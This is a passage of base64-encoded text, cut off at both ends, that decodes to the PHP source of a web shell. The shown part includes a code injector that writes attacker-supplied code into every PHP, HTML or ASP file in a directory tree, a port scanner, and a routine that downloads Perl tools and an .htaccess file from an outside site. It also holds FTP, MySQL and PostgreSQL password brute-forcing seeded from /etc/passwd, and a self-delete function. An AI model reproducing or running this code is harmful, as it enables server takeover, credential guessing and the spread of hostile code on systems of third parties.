dGggPSBzaXplb2YoJF9QT1NUWydkZXB0aCddKSA/ICRfUE9TVFsnZGVwdGgnXSA6IGFycmF5KCcwJyk7DQogICAgICAgICRkdCA9IGdldF9zdHJ1Y3R1cmUoJHBhdGgsJGRlcHRoKTsNCiAgICAgICAgZm9yZWFjaCAoJGR0IGFzICRkKSB7DQogICAgICAgICAgICBpZigkbW9kZSA9PSAnYScpIHsNCiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZSwgRklMRV9BUFBFTkQpKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjxzcGFuIHN0eWxlPSJjb2xvcjpsaW1lOyI+IHdhcyBpbmplY3RlZDwvc3Bhbj48L2Rpdj4nOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPmZhaWxlZCB0byBpbmplY3Q8L3NwYW4+IDxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48L2Rpdj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgaWYoZmlsZV9wdXRfY29udGVudHMoJGQuJERTLiRuYW1lLicuJy4kdHlwZSwgJGNvZGUpKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjxzcGFuIHN0eWxlPSJjb2xvcjpsaW1lOyI+IHdhcyBpbmplY3RlZDwvc3Bhbj48L2Rpdj4nOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPmZhaWxlZCB0byBpbmplY3Q8L3NwYW4+IDxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48L2Rpdj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgICAgICAgICAgICAgPHRhYmxlIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RGlyZWN0b3J5IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgY2xhc3M9ImJveCIgbmFtZT0icGF0aCIgdmFsdWU9IicuZ2V0Y3dkKCkuJyIgc2l6ZT0iNTAiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj5Nb2RlIDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iYm94Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYSI+QXBlbmRlcjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ3Ij5PdmVyd3JpdGVyPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj5GaWxlIE5hbWUgJiBUeXBlIDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im5hbWUiIHZhbHVlPSIqIi8+Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgbmFtZT0idHlwZSIgY2xhc3M9ImJveCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaHRtbCI+SFRNTDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bSI+SFRNPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGhwIiBzZWxlY3RlZD0ic2VsZWN0ZWQiPlBIUDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImFzcCI+QVNQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNweCI+QVNQWDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InhtbCI+WE1MPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idHh0Ij5UWFQ8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkNvZGUgSW5qZWN0IERlcHRoIDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIwIiBjaGVja2VkPSJjaGVja2VkIi8+Jm5ic3A7MCZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjEiLz4mbmJzcDsxJm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMiIvPiZuYnNwOzImbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIzIi8+Jm5ic3A7Mw0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4gICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIG5hbWU9ImNvZGUiIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9ImJveCI+PC90ZXh0YXJlYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJJbmplY3RvciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJwYWRkaW5nIDo1cHg7IHdpZHRoOjEwMHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIEJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgew0KICAgIEJPRkZIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+UG9ydCBTY2FubmVyPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpew0KICAgICAgICAkc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7DQogICAgICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOw0KICAgICAgICAkaG9zdCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob3N0J10pOw0KICAgICAgICBmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsNCiAgICAgICAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KICAgICAgICAgICAgaWYoJGZwKXsNCiAgICAgICAgICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj13aGl0ZT5vcGVuPC9mb250Pjxicj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJzxiciAvPjxiciAvPjxjZW50ZXI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IlBvcnRTY2FubmVyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPXAxPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaGFyc2V0IiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICAgICAgICAgICAgSG9zdDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48YnIgLz48YnIgLz4NCiAgICAgICAgICAgICAgUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPjxiciAvPg0KICAgICAgICAgICAgICBQb3J0IGVuZDo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPjxiciAvPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiBQb3J0cyIgLz4NCiAgICAgICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgQk9GRkZvb3RlcigpOyAgICANCn0NCmZ1bmN0aW9uIGFjdGlvblBTeW1saW5rKCkgew0KDQpCT0ZGSGVhZGVyKCk7DQplY2hvICI8Y2VudGVyPiI7ICAgDQoNCgkkdGVsbmV0ZmlsZSA9ICd0ZWxuZXQyMTMnOyAvLyBQZXJsIHRvb2xzIGZpbGUNCgkNCgkkbGluayA9ICJodHRwOi8vd3d3LnhIYXhPci5jb20iOyAvLyBUb29scyBzb3VyY2UgbGluayAod2l0aG91dCBzbGFzaCAnLycgaW4gZW5kKQ0KCQ0KCSRwZXJsZmlsZXM9YXJyYXkoIi5odGFjY2VzcyIsInVzZXJzLmdpZiIsIml6by5naWYiLCJjb25maWcuZ2lmIik7DQoNCgkkbmFtZSA9YmFzZW5hbWUoICRfU0VSVkVSWyAnUEhQX1NFTEYnIF0gKTsgLy8gUmV0dXJucyB0cmFpbGluZyBuYW1lIGNvbXBvbmVudCBvZiBwYXRoLg0KCSR1cmwwPSAiaHR0cDovLyRfU0VSVkVSW0hUVFBfSE9TVF0kX1NFUlZFUltSRVFVRVNUX1VSSV0iOw0KCSR1cmw9IHN0cl9yZXBsYWNlKCIkbmFtZSIsICcnLCAkdXJsMCk7DQoJDQoJLy8gU3R5bGUgOg0KCWVjaG8iPGgzPi0gUEVSTCBUT09MUzo8L2gzPiI7DQoNCglpZiAoIWZpbGVfZXhpc3RzKCR0ZWxuZXRmaWxlKSkNCgl7DQoJCUBta2RpcigkdGVsbmV0ZmlsZSk7DQoJCUBjaG1vZCgiJHRlbG5ldGZpbGUiLCAwNzU1KTsgDQoNCgl9DQoJaWYgKGZpbGVfZXhpc3RzKCR0ZWxuZXRmaWxlKSkNCgl7DQoJCQ0KCWZvcmVhY2goJHBlcmxmaWxlcyBhcyAkZmlsZSl7DQoJDQoJJHRvb2wgPSBmb3BlbigiJHRlbG5ldGZpbGUvJGZpbGUiICwidysiKTsNCgkgaWYgKEBlcmVnaSgnaHRhY2Nlc3MnLCAkZmlsZSkpIHsNCgkgJGZpbGU9IHN0cl9yZXBsYWNlKCIuIiwgJycsICRmaWxlKTsNCgkgfQ0KCSR0b29sY29udGVudHM9QGZpbGVfZ2V0X2NvbnRlbnRzKCIkbGluay9wZXJsLyRmaWxlLnR4dCIpOw0KCSR3cml0ZSA9IGZ3cml0ZSAoJHRvb2wgLCR0b29sY29udGVudHMpOw0KCWZjbG9zZSgkdG9vbCk7DQoJaWYgKCR3cml0ZSkgew0KCWlmIChAZXJlZ2koJ2h0YWNjZXNzJywgJGZpbGUpKSB7DQoJJGZpbGU9Ii4kZmlsZSI7DQoJIH0NCgllY2hvICI8Zm9udCBjb2xvcj0jNmI2YjZiPlRoZSA8Yj4kZmlsZTwvYj4gRmlsZSBXYXMgQ3JlYXRlZCBTdWNjZXNzZnVsbHkuPT0+PGEgaHJlZj0nJHVybC8kdGVsbmV0ZmlsZS8kZmlsZScgdGFyZ2V0PSdfYmxhbmsnPjx1PiRmaWxlPC91PjwvYT48L2ZvbnQ+PGJyPiI7DQoJfQ0KCWVsc2Ugew0KCWVjaG8iPGZvbnQgY29sb3I9cmVkPkVSUk9SOiBDYW5ub3QgQ3JlYXRlIDxiPiRmaWxlPC9iPiBGaWxlICEhIDwvZm9udD48YnI+IjsNCgl9DQoJQGNobW9kKCIkdGVsbmV0ZmlsZS8kZmlsZSIgLCAwNzU1KTsNCgl9DQoJCX0NCkJPRkZGb290ZXIoKTsNCg0KfQ0KDQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsNCiAgICBlY2hvICc8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL2kuaW1ndXIuY29tL2cxSjVMY08ucG5nIj48L2NlbnRlcj48L2JvZHk+JzsgIA0KfQ0KDQoNCmZ1bmN0aW9uIGFjdGlvblRoZVVua25vd25zKCkgew0KCQ0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnUGxlYXNlIFdhaXQuLi4uLicpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIEJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+VGhlVW5rbm93bnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5DbGljayBZZXMgVG8gVmlzaXQgT3VyIE9mZmljaWFsIEZvcnVtPGJyPjxhIGhyZWY9aHR0cDovL3d3dy5UaGVVbmtub3ducy5vcmcgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCglCT0ZGSGVhZGVyKCk7DQoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7DQoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsNCgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsNCgkJCQlpZighJGZwKSByZXR1cm4gZmFsc2U7DQoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCgkJCQlAZnRwX2Nsb3NlKCRmcCk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj48YnI+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBEYkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJC